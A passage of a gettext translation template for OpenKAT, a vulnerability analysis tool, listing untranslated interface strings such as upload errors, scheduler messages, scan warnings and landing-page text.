\"\"\n\n#: tools/forms/upload_csv.py\nmsgid \"File could not be decoded\"\nmsgstr \"\"\n\n#: tools/forms/upload_csv.py\nmsgid \"No file selected\"\nmsgstr \"\"\n\n#: tools/forms/upload_csv.py\nmsgid \"The uploaded file is empty.\"\nmsgstr \"\"\n\n#: tools/forms/upload_csv.py\nmsgid \"The number of columns do not meet the requirements.\"\nmsgstr \"\"\n\n#: tools/forms/upload_csv.py\nmsgid \"OOI Type in CSV does not meet the criteria.\"\nmsgstr \"\"\n\n#: tools/forms/upload_csv.py\nmsgid \"An error has occurred during the parsing of the csv file:\"\nmsgstr \"\"\n\n#: tools/forms/upload_csv.py\nmsgid \"Upload CSV file\"\nmsgstr \"\"\n\n#: tools/forms/upload_csv.py\nmsgid \"Only accepts CSV file.\"\nmsgstr \"\"\n\n#: tools/forms/upload_oois.py rocky/templates/partials/explanations.html\nmsgid \"Object Type\"\nmsgstr \"\"\n\n#: tools/forms/upload_oois.py\nmsgid \"Choose a type of which objects are added.\"\nmsgstr \"\"\n\n#: tools/forms/upload_raw.py\nmsgid \"Mime types\"\nmsgstr \"\"\n\n#: tools/forms/upload_raw.py\nmsgid \"\"\n\"<p>Add a set of mime types, separated by commas, for example:</\"\n\"p><p><i>\\\"text/html, image/jpeg\\\"</i> or <i>\\\"boefje/dns-records\\\"</i>.</\"\n\"p><p>Mime types are used to match the correct normalizer to a raw file. When \"\n\"the mime type \\\"boefje/dns-records\\\" is added, the normalizer expects the \"\n\"raw file to contain dns scan information.</p>\"\nmsgstr \"\"\n\n#: tools/forms/upload_raw.py rocky/templates/partials/ooi_list_toolbar.html\n#: rocky/templates/upload_raw.html\nmsgid \"Upload raw file\"\nmsgstr \"\"\n\n#: tools/forms/upload_raw.py\nmsgid \"Input or Scan OOI\"\nmsgstr \"\"\n\n#: tools/forms/upload_raw.py\nmsgid \"Click to select one of the available options, or type one yourself\"\nmsgstr \"\"\n\n#: tools/forms/upload_raw.py\nmsgid \"OOI doesn't exist, try another valid time\"\nmsgstr \"\"\n\n#: tools/models.py\nmsgid \"\"\n\"A short code containing only lower-case unicode letters, numbers, hyphens or \"\n\"underscores that will be used in URLs and paths.\"\nmsgstr \"\"\n\n#: tools/models.py\nmsgid \"\"\n\"This organization code is reserved by OpenKAT and cannot be used. Choose \"\n\"another organization code.\"\nmsgstr \"\"\n\n#: tools/models.py\nmsgid \"new\"\nmsgstr \"\"\n\n#: tools/templatetags/ooi_extra.py\nmsgid \"Unknown user\"\nmsgstr \"\"\n\n#: tools/view_helpers.py rocky/templates/header.html\n#: rocky/templates/organizations/organization_member_list.html\n#: rocky/views/organization_member_edit.py\nmsgid \"Members\"\nmsgstr \"\"\n\n#: rocky/forms.py\nmsgid \"Current status\"\nmsgstr \"\"\n\n#: rocky/forms.py rocky/templates/organizations/organization_member_list.html\nmsgid \"Active\"\nmsgstr \"\"\n\n#: rocky/forms.py rocky/templates/organizations/organization_member_list.html\nmsgid \"New\"\nmsgstr \"\"\n\n#: rocky/forms.py\nmsgid \"Account status\"\nmsgstr \"\"\n\n#: rocky/forms.py\nmsgid \"Not blocked\"\nmsgstr \"\"\n\n#: rocky/messaging.py\nmsgid \"\"\n\"You have trusted this member with a clearance level of L{}. This member \"\n\"needs at least a clearance level of L{} in order to do a proper onboarding. \"\n\"Edit this member and change the clearance level if necessary.\"\nmsgstr \"\"\n\n#: rocky/paginator.py\nmsgid \"That page number is not an integer\"\nmsgstr \"\"\n\n#: rocky/paginator.py\nmsgid \"That page number is less than 1\"\nmsgstr \"\"\n\n#: rocky/paginator.py\nmsgid \"That page contains no results\"\nmsgstr \"\"\n\n#: rocky/scheduler.py\nmsgid \"\"\n\"The Scheduler has an unexpected error. Check the Scheduler logs for further \"\n\"details.\"\nmsgstr \"\"\n\n#: rocky/scheduler.py\nmsgid \"Could not connect to Scheduler. Service is possibly down.\"\nmsgstr \"\"\n\n#: rocky/scheduler.py\nmsgid \"Your request could not be validated.\"\nmsgstr \"\"\n\n#: rocky/scheduler.py\nmsgid \"Task could not be found.\"\nmsgstr \"\"\n\n#: rocky/scheduler.py\nmsgid \"\"\n\"Scheduler is receiving too many requests. Increase SCHEDULER_PQ_MAXSIZE or \"\n\"wait for task to finish.\"\nmsgstr \"\"\n\n#: rocky/scheduler.py\nmsgid \"Bad request. Your request could not be interpreted by the Scheduler.\"\nmsgstr \"\"\n\n#: rocky/scheduler.py\nmsgid \"The Scheduler has received a conflict. Your task is already in queue.\"\nmsgstr \"\"\n\n#: rocky/scheduler.py\nmsgid \"A HTTPError occurred. See Scheduler logs for more info.\"\nmsgstr \"\"\n\n#: rocky/scheduler.py\nmsgid \"Schedule list: \"\nmsgstr \"\"\n\n#: rocky/scheduler.py\nmsgid \"Task list: \"\nmsgstr \"\"\n\n#: rocky/settings.py\nmsgid \"Blue light\"\nmsgstr \"\"\n\n#: rocky/settings.py\nmsgid \"Blue medium\"\nmsgstr \"\"\n\n#: rocky/settings.py\nmsgid \"Blue dark\"\nmsgstr \"\"\n\n#: rocky/settings.py\nmsgid \"Green light\"\nmsgstr \"\"\n\n#: rocky/settings.py\nmsgid \"Green medium\"\nmsgstr \"\"\n\n#: rocky/settings.py\nmsgid \"Green dark\"\nmsgstr \"\"\n\n#: rocky/settings.py\nmsgid \"Yellow light\"\nmsgstr \"\"\n\n#: rocky/settings.py\nmsgid \"Yellow medium\"\nmsgstr \"\"\n\n#: rocky/settings.py\nmsgid \"Yellow dark\"\nmsgstr \"\"\n\n#: rocky/settings.py\nmsgid \"Orange light\"\nmsgstr \"\"\n\n#: rocky/settings.py\nmsgid \"Orange medium\"\nmsgstr \"\"\n\n#: rocky/settings.py\nmsgid \"Orange dark\"\nmsgstr \"\"\n\n#: rocky/settings.py\nmsgid \"Red light\"\nmsgstr \"\"\n\n#: rocky/settings.py\nmsgid \"Red medium\"\nmsgstr \"\"\n\n#: rocky/settings.py\nmsgid \"Red dark\"\nmsgstr \"\"\n\n#: rocky/settings.py\nmsgid \"Violet light\"\nmsgstr \"\"\n\n#: rocky/settings.py\nmsgid \"Violet medium\"\nmsgstr \"\"\n\n#: rocky/settings.py\nmsgid \"Violet dark\"\nmsgstr \"\"\n\n#: rocky/settings.py\nmsgid \"Plain\"\nmsgstr \"\"\n\n#: rocky/settings.py\nmsgid \"Solid\"\nmsgstr \"\"\n\n#: rocky/settings.py\nmsgid \"Dashed\"\nmsgstr \"\"\n\n#: rocky/settings.py\nmsgid \"Dotted\"\nmsgstr \"\"\n\n#: rocky/templates/403.html\nmsgid \"Error code 403: Unauthorized\"\nmsgstr \"\"\n\n#: rocky/templates/403.html\nmsgid \"Your account is not authorized to access this page or organization.\"\nmsgstr \"\"\n\n#: rocky/templates/403.html\nmsgid \"Please contact your system administrator.\"\nmsgstr \"\"\n\n#: rocky/templates/403.html rocky/templates/404.html\nmsgid \"You may want to go back to the\"\nmsgstr \"\"\n\n#: rocky/templates/403.html rocky/templates/404.html\nmsgid \"Crisis Room\"\nmsgstr \"\"\n\n#: rocky/templates/404.html\nmsgid \"Error code 404: Page not found\"\nmsgstr \"\"\n\n#: rocky/templates/404.html\nmsgid \"\"\n\"The page you wanted to see or the file you wanted to view was not found.\"\nmsgstr \"\"\n\n#: rocky/templates/admin/base.html\nmsgid \"Skip to main content\"\nmsgstr \"\"\n\n#: rocky/templates/admin/base.html\nmsgid \"Welcome,\"\nmsgstr \"\"\n\n#: rocky/templates/admin/base.html\nmsgid \"View site\"\nmsgstr \"\"\n\n#: rocky/templates/admin/base.html\nmsgid \"Documentation\"\nmsgstr \"\"\n\n#: rocky/templates/admin/base.html\nmsgid \"Change password\"\nmsgstr \"\"\n\n#: rocky/templates/admin/base.html\nmsgid \"Log out\"\nmsgstr \"\"\n\n#: rocky/templates/admin/base.html rocky/templates/header.html\nmsgid \"Breadcrumbs\"\nmsgstr \"\"\n\n#: rocky/templates/admin/base.html rocky/templates/admin/change_form.html\n#: rocky/templates/admin/change_list.html\n#: rocky/templates/admin/delete_confirmation.html\n#: rocky/templates/admin/delete_selected_confirmation.html\nmsgid \"Home\"\nmsgstr \"\"\n\n#: rocky/templates/admin/change_form.html\n#, python-format\nmsgid \"Add %(name)s\"\nmsgstr \"\"\n\n#: rocky/templates/admin/change_form.html\n#: rocky/templates/admin/change_list.html\nmsgid \"Please correct the error below.\"\nmsgid_plural \"Please correct the errors below.\"\nmsgstr[0] \"\"\nmsgstr[1] \"\"\n\n#: rocky/templates/admin/change_list.html\nmsgid \"Filter\"\nmsgstr \"\"\n\n#: rocky/templates/admin/change_list.html\nmsgid \"Hide counts\"\nmsgstr \"\"\n\n#: rocky/templates/admin/change_list.html\nmsgid \"Show counts\"\nmsgstr \"\"\n\n#: rocky/templates/admin/change_list.html\nmsgid \"Clear all filters\"\nmsgstr \"\"\n\n#: rocky/templates/admin/delete_confirmation.html\n#, python-format\nmsgid \"\"\n\"Deleting the %(object_name)s '%(escaped_object)s' would result in deleting \"\n\"related objects, but your account doesn't have permission to delete the \"\n\"following types of objects\"\nmsgstr \"\"\n\n#: rocky/templates/admin/delete_confirmation.html\n#, python-format\nmsgid \"\"\n\"Deleting the %(object_name)s '%(escaped_object)s' would require deleting the \"\n\"following protected related objects\"\nmsgstr \"\"\n\n#: rocky/templates/admin/delete_confirmation.html\n#, python-format\nmsgid \"\"\n\"Are you sure you want to delete the %(object_name)s \\\"%(escaped_object)s\\\"? \"\n\"All of the following related items will be deleted\"\nmsgstr \"\"\n\n#: rocky/templates/admin/delete_confirmation.html\n#: rocky/templates/admin/delete_selected_confirmation.html\nmsgid \"Yes, I’m sure\"\nmsgstr \"\"\n\n#: rocky/templates/admin/delete_confirmation.html\n#: rocky/templates/admin/delete_selected_confirmation.html\nmsgid \"No, take me back\"\nmsgstr \"\"\n\n#: rocky/templates/admin/delete_selected_confirmation.html\nmsgid \"Delete multiple objects\"\nmsgstr \"\"\n\n#: rocky/templates/admin/delete_selected_confirmation.html\n#, python-format\nmsgid \"\"\n\"Deleting the selected %(objects_name)s would result in deleting related \"\n\"objects, but your account doesn't have permission to delete the following \"\n\"types of objects\"\nmsgstr \"\"\n\n#: rocky/templates/admin/delete_selected_confirmation.html\n#, python-format\nmsgid \"\"\n\"Deleting the selected %(objects_name)s would require deleting the following \"\n\"protected related objects\"\nmsgstr \"\"\n\n#: rocky/templates/admin/delete_selected_confirmation.html\n#, python-format\nmsgid \"\"\n\"Are you sure you want to delete the selected %(objects_name)s? All of the \"\n\"following objects and their related items will be deleted\"\nmsgstr \"\"\n\n#: rocky/templates/admin/popup_response.html\nmsgid \"Popup closing…\"\nmsgstr \"\"\n\n#: rocky/templates/dashboard_client.html rocky/templates/dashboard_redteam.html\n#: rocky/templates/header.html\nmsgid \"Close menu\"\nmsgstr \"\"\n\n#: rocky/templates/dashboard_client.html rocky/templates/dashboard_redteam.html\n#: rocky/templates/header.html\nmsgid \"Main navigation\"\nmsgstr \"\"\n\n#: rocky/templates/dashboard_client.html\nmsgid \"Indemnifications\"\nmsgstr \"\"\n\n#: rocky/templates/dashboard_client.html rocky/templates/dashboard_redteam.html\n#: rocky/templates/partials/secondary-menu.html\nmsgid \"Logout\"\nmsgstr \"\"\n\n#: rocky/templates/dashboard_client.html rocky/templates/dashboard_redteam.html\nmsgid \"Welcome\"\nmsgstr \"\"\n\n#: rocky/templates/dashboard_client.html rocky/templates/dashboard_redteam.html\nmsgid \"User overview\"\nmsgstr \"\"\n\n#: rocky/templates/dashboard_redteam.html\n#: rocky/templates/partials/notifications_block.html\n#: rocky/templates/partials/ooi_report_findings_block_table_expanded_row.html\nmsgid \"warning\"\nmsgstr \"\"\n\n#: rocky/templates/dashboard_redteam.html\n#: rocky/templates/oois/ooi_detail_origins_observations.html\n#: rocky/templates/partials/notifications_block.html\n#: rocky/templates/partials/ooi_report_findings_block_table_expanded_row.html\nmsgid \"Warning:\"\nmsgstr \"\"\n\n#: rocky/templates/dashboard_redteam.html\nmsgid \"Organization code missing\"\nmsgstr \"\"\n\n#: rocky/templates/finding_type_add.html\n#: rocky/templates/partials/findings_list_toolbar.html\n#: rocky/views/finding_type_add.py\nmsgid \"Add finding type\"\nmsgstr \"\"\n\n#: rocky/templates/finding_type_add.html\nmsgid \"Finding Type\"\nmsgstr \"\"\n\n#: rocky/templates/findings/finding_add.html\n#: rocky/templates/oois/ooi_detail_findings_list.html\n#: rocky/templates/oois/ooi_findings.html\n#: rocky/templates/partials/findings_list_toolbar.html\n#: rocky/views/finding_add.py\nmsgid \"Add finding\"\nmsgstr \"\"\n\n#: rocky/templates/findings/finding_list.html\nmsgid \"Findings @ \"\nmsgstr \"\"\n\n#: rocky/templates/findings/finding_list.html\n#, python-format\nmsgid \"\"\n\"An overview of all findings OpenKAT found for organization \"\n\"<strong>%(organization_name)s</strong>. Each finding relates to an object. \"\n\"Click a finding for additional information.\"\nmsgstr \"\"\n\n#: rocky/templates/findings/finding_list.html\n#, python-format\nmsgid \"Showing %(length)s of %(total)s findings\"\nmsgstr \"\"\n\n#: rocky/templates/findings/finding_list.html\n#: rocky/templates/partials/mute_findings_modal.html\nmsgid \"Mute findings\"\nmsgstr \"\"\n\n#: rocky/templates/findings/finding_list.html\nmsgid \"Unmute findings\"\nmsgstr \"\"\n\n#: rocky/templates/findings/findings_filter.html\n#: rocky/templates/partials/elements/ooi_list_settings_form.html\n#: rocky/templates/tasks/partials/task_filter.html\nmsgid \"Set filters\"\nmsgstr \"\"\n\n#: rocky/templates/findings/findings_filter.html\n#: rocky/templates/partials/elements/ooi_list_settings_form.html\n#: rocky/templates/tasks/partials/task_filter.html\nmsgid \"Clear filters\"\nmsgstr \"\"\n\n#: rocky/templates/footer.html rocky/views/privacy_statement.py\nmsgid \"Privacy Statement\"\nmsgstr \"\"\n\n#: rocky/templates/forms/json_schema_form.html\nmsgid \"Fill out this form to answer the Question (again):\"\nmsgstr \"\"\n\n#: rocky/templates/graph-d3.html\nmsgid \"\"\n\"Click a circle to collapse / expand the tree, click the text to view the \"\n\"tree from that OOI and hover over the text to see details.\"\nmsgstr \"\"\n\n#: rocky/templates/graph-d3.html\nmsgid \"Tree graph\"\nmsgstr \"\"\n\n#: rocky/templates/header.html\nmsgid \"Menu\"\nmsgstr \"\"\n\n#: rocky/templates/header.html\nmsgid \"OpenKAT logo, go to the homepage of OpenKAT\"\nmsgstr \"\"\n\n#: rocky/templates/header.html rocky/templates/tasks/ooi_detail_task_list.html\n#: rocky/templates/tasks/partials/tasks_overview_header.html\n#: rocky/templates/tasks/plugin_detail_task_list.html\n#: rocky/views/task_detail.py rocky/views/tasks.py\nmsgid \"Tasks\"\nmsgstr \"\"\n\n#: rocky/templates/health.html\nmsgid \"Health Checks\"\nmsgstr \"\"\n\n#: rocky/templates/health.html\nmsgid \"Health checks\"\nmsgstr \"\"\n\n#: rocky/templates/health.html\nmsgid \"Additional\"\nmsgstr \"\"\n\n#: rocky/templates/indemnification_present.html\nmsgid \"Indemnification\"\nmsgstr \"\"\n\n#: rocky/templates/indemnification_present.html\nmsgid \"\"\n\"Indemnification on the organization present. You may now add objects and \"\n\"start scans.\"\nmsgstr \"\"\n\n#: rocky/templates/indemnification_present.html\nmsgid \"Go to Objects\"\nmsgstr \"\"\n\n#: rocky/templates/indemnification_present.html\nmsgid \"Go to\"\nmsgstr \"\"\n\n#: rocky/templates/landing_page.html\nmsgid \"Welcome to OpenKAT\"\nmsgstr \"\"\n\n#: rocky/templates/landing_page.html\nmsgid \"Kwetsbaarheden Analyse Tool\"\nmsgstr \"\"\n\n#: rocky/templates/landing_page.html\nmsgid \"What is OpenKAT?\"\nmsgstr \"\"\n\n#: rocky/templates/landing_page.html\nmsgid \"\"\n\"OpenKAT is a vulnerability analysis tool. An Open Source-project developed \"\n\"by the Ministry of Health, Welfare and Sport to make your and our world \"\n\"safer.\"\nmsgstr \"\"\n\n#: rocky/templates/landing_page.html\nmsgid \"OpenKAT sees\"\nmsgstr \"\"\n\n#: rocky/templates/landing_page.html\nmsgid \"\"\n\"Dozens of tools are integrated in OpenKAT to view the world (digital and \"\n\"analog).\"\nmsgstr \"\"\n\n#: rocky/templates/landing_page.html\nmsgid \"Our motto is therefore: I see, I see, what you do not see.\"\nmsgstr \"\"\n\n#: rocky/templates/landing_page.html\nmsgid \"OpenKAT knows\"\nmsgstr \"\"\n\n#: rocky/templates/landing_page.html\nmsgid \"\"\n\"OpenKAT does not forget (just like that), and can be queried without \"\n\"scanning again. Also about a historical situation.\"\nmsgstr \"\"\n\n#: rocky/templates/landing_page.html\nmsgid \"OpenKAT is secure\"\nmsgstr \"\"\n\n#: rocky/templates/landing_page.html\nmsgid \"\"\n\"Forensically secured storage of evidence is one of the basic ingredients of \"\n\"OpenKAT.\"\nmsgstr \"\"\n\n#: rocky/templates/landing_page.html\nmsgid \"OpenKAT is sweet\"\nmsgstr \"\"\n\n#: rocky/templates/landing_page.html\nmsgid \"\"\n\"OpenKAT thinks about privacy, and stores what is necessary, within the rules \"\n\"of your organization and the law.\"\nmsgstr \"\"\n\n#: rocky/templates/landing_page.html\nmsgid \"A wide playing field\"\nmsgstr \"\"\n\n#: rocky/templates/landing_page.html\nmsgid \"\"\n\"OpenKAT makes a copy of the actual reality by means of the integrated tools. \"\n\"Within this copy you can search for answers to countless security and policy \"\n\"questions. Expected and unexpected changes in the world are made visible, \"\n\"and where necessary reported or made known directly to the right people.\"\nmsgstr \"\"\n\n#: rocky/templates/legal/privacy_statement.html\nmsgid \"OpenKAT Privacy Statement\"\nmsgstr \"\"\n\n#: rocky/templates/legal/privacy_statement.html\nmsgid \"\"\n\"OpenKAT is dedicated to protecting the confidentiality and privacy of \"\n\"information entrusted to it. As part of this fundamental obligation, OpenKAT \"\n\"is committed to the appropriate protection and use of personal information \"\n\"(sometimes referred to as \\\"personal data\\\", \\\"personally identifiable \"\n\"information\\\" or \\\"PII\\\") that has been collected online.\"\nmsgstr \"\"\n\n#: rocky/templates/oois/error.html\nmsgid \"Object List\"\nmsgstr \"\"\n\n#: rocky/templates/oois/error.html\nmsgid \"An error occurred. Please contact a system administrator.\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_add.html\n#, python-format\nmsgid \"Add a %(display_type)s\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_add.html\nmsgid \"\"\n\"Here you can add the asset of the client. Findings can be added to these in \"\n\"the findings page.\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_add.html\n#, python-format\nmsgid \"Add %(display_type)s\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_add_type_select.html\n#: rocky/templates/oois/ooi_detail_add_related_object.html\n#: rocky/templates/partials/elements/ooi_add_type_select_form.html\n#: rocky/templates/partials/ooi_list_toolbar.html rocky/views/ooi_add.py\nmsgid \"Add object\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_add_type_select.html\nmsgid \"Select the type of object you want to create.\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_delete.html\n#, python-format\nmsgid \"Delete %(primary_key)s\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_delete.html\nmsgid \"Are you sure?\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_delete.html\n#, python-format\nmsgid \"Here you can delete the %(display_type)s.\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_delete.html\nmsgid \"To be deleted object(s)\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_delete.html\n#: rocky/templates/partials/elements/ooi_tree_condensed_table.html\nmsgid \"Key\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_delete.html\n#: rocky/templates/partials/ooi_detail_toolbar.html\n#, python-format\nmsgid \"Delete %(display_type)s\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_delete.html\nmsgid \"Deletion not possible for types: KATFindingType and CVEFindingType\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail.html\nmsgid \"using boefjes\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail.html\n#: rocky/templates/organizations/organization_settings.html\nmsgid \"indemnification warning\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail.html\n#, python-format\nmsgid \"\"\n\"<strong>Warning:</strong> There is no indemnification for this organization. \"\n\"Go to the <a href=\\\"%(organization_settings)s\\\">organization settings page</\"\n\"a> to add one.\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail.html\nmsgid \"Permission warning\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail.html\nmsgid \"\"\n\"<strong>Warning:</strong> You don't have the proper permission at the \"\n\"organizational level to scan objects. Contact your administrator.\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail.html\n#: rocky/templates/scan_profiles/scan_profile_detail.html\nmsgid \"Scan warning\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail.html\n#, python-format\nmsgid \"\"\n\"<strong>Warning:</strong> You are not allowed to scan this OOI. Your maximum \"\n\"clearance level is %(member_clearance_level)s and this OOI has level \"\n\"%(boefje_scan_level)s. Go to your <a href=\\\"%(account_details)s\\\">account \"\n\"details</a> to manage your clearance level.\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail.html rocky/templates/scan.html\nmsgid \"Boefjes overview\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail.html\n#: rocky/templates/oois/ooi_detail_origins_observations.html\n#: rocky/templates/scan.html rocky/templates/tasks/boefjes.html\n#: rocky/templates/tasks/normalizers.html\nmsgid \"Boefje\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail.html rocky/templates/scan.html\nmsgid \"Scan profile\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail.html\nmsgid \"Unable to start scan. See the warning for more details.\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail.html\nmsgid \"Start scan\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail.html\nmsgid \"There are no boefjes enabled to scan an OOI of type\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail.html\nmsgid \"See\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail.html\nmsgid \"to find and enable boefjes that can scan within the current level.\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail_add_related_object.html\n#: rocky/templates/partials/ooi_detail_related_object.html\nmsgid \"Add related object\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail_add_related_object.html\n#: rocky/templates/oois/ooi_detail_object.html\nmsgid \"Object details\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail_add_related_object.html\n#: rocky/templates/partials/elements/ooi_add_type_select_form.html\nmsgid \"Object type\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail_add_related_object.html\n#: rocky/templates/partials/elements/ooi_add_type_select_form.html\nmsgid \"Choose an object type to add\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail_add_related_object.html\n#: rocky/templates/partials/elements/ooi_add_type_select_form.html\nmsgid \"Select an object type to add.\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail_findings_list.html\nmsgid \"Overview of findings for\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail_findings_list.html\nmsgid \"Score\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail_findings_list.html\n#: rocky/templates/partials/ooi_report_findings_block_table_expanded_row.html\nmsgid \"Finding details\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail_findings_overview.html\nmsgid \"Overview of the number of findings and their severity found on\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail_findings_overview.html\nmsgid \"\"\n\"Findings can occur multiple times. To give better insight the following \"\n\"table shows the number of unique findings found as well as the number of \"\n\"occurrences.\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail_findings_overview.html\nmsgid \"See finding details\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail_findings_overview.html\nmsgid \"Total findings\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail_object.html\n#: rocky/templates/scan_profiles/scan_profile_detail.html\nmsgid \"Inactive\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail_origins_declarations.html\nmsgid \"Declarations\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail_origins_inference.html\nmsgid \"Inferred by\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail_origins_inference.html\nmsgid \"Bit\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail_origins_inference.html\nmsgid \"Parameters\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail_origins_observations.html\nmsgid \"Last observed by\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail_origins_observations.html\nmsgid \"Task ID\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail_origins_observations.html\nmsgid \"When\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail_origins_observations.html\n#: rocky/templates/tasks/normalizers.html\nmsgid \"Normalizer\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail_origins_observations.html\nmsgid \"This scan was manually created.\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail_origins_observations.html\nmsgid \"The boefje has since been deleted or disabled.\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail_origins_observations.html\nmsgid \"No Raw file could be found, this might point to an error in OpenKAT\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail_origins_observations.html\n#: rocky/templates/scan_profiles/scan_profile_detail.html\nmsgid \"Warning\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_edit.html\n#, python-format\nmsgid \"Edit %(type)s: %(ooi_human_readable)s\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_edit.html\nmsgid \"Primary key fields cannot be edited.\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_edit.html\n#, python-format\nmsgid \"Save %(display_type)s\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_findings.html\nmsgid \"Currently no findings have been identified for OOI\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_list.html\n#, python-format\nmsgid \"\"\n\"An overview of objects found for organization <strong>%(organization_name)s</\"\n\"strong>. Objects can be added manually or by running Boefjes. Click an \"\n\"object for additional information.\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_list.html\n#: rocky/templates/scan_profiles/scan_profile_detail.html\nmsgid \"Edit clearance level\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_mute_finding.html\nmsgid \"Mute finding:\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_mute_finding.html\nmsgid \"Give a reason below why you want to mute this finding.\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_mute_finding.html\n#: rocky/templates/partials/mute_findings_modal.html\n#: rocky/templates/partials/ooi_detail_toolbar.html\nmsgid \"Mute finding\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_mute_finding.html\nmsgid \"Mute\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_page_tabs.html\nmsgid \"List of views for OOI\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_past_due_warning.html\nmsgid \"This object is past due\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_past_due_warning.html\nmsgid \"This object is past due and has been deleted\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_past_due_warning.html\nmsgid \"\"\n\"This object is past due. You are viewing the object state in a past state.\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_past_due_warning.html\nmsgid \"\"\n\"You will not be able to add Findings or other OOI's to past due objects.\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_past_due_warning.html\n#: rocky/templates/partials/hyperlink_ooi_id.html\n#, python-format\nmsgid \"Show details for %(name)s\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_past_due_warning.html\nmsgid \"View the current state\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_past_due_warning.html\nmsgid \"\"\n\"You will not be able to add Findings or other OOI's, this object has been \"\n\"deleted and is no longer available.\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_summary.html\nmsgid \"Summary for\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_summary.html\nmsgid \"Below you can see findings that were found for\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_summary.html\nmsgid \"and direct  children of this\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_summary.html\nmsgid \"This\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_summary.html\nmsgid \"tree view\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_summary.html\nmsgid \"of the\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_summary.html\nmsgid \"shows the same objects.\"\nmsgstr \"\"\n\n#: rocky/templates/organizations/organization_add.html\nmsgid \"\"\n\"Please enter the following organization details. These details can be edited \"\n\"within the organization page within OpenKAT when necessary.\"\nmsgstr \"\"\n\n#: rocky/templates/organizations/organization_edit.html\nmsgid \"Edit organization\"\nmsgstr \"\"\n\n#: rocky/templates/organizations/organization_edit.html\nmsgid \"Save organization\"\nmsgstr \"\"\n\n#: rocky/templates/organizations/organization_list.html\nmsgid \"An overview of all organizations you are a member of.\"\nmsgstr \"\"\n\n#: rocky/templates/organizations/organization_list.html\nmsgid \"Add new organization\"\nmsgstr \"\"\n\n#: rocky/templates/organizations/organization_list.html\n#, python-format\nmsgid \"\"\n\"\\n\"\n\"                            Showing %(total)s organizations\\n\"\n\"                        \"\nmsgstr \"\"\n\n#: rocky/templates/organizations/organization_list.html\nmsgid \"Organization 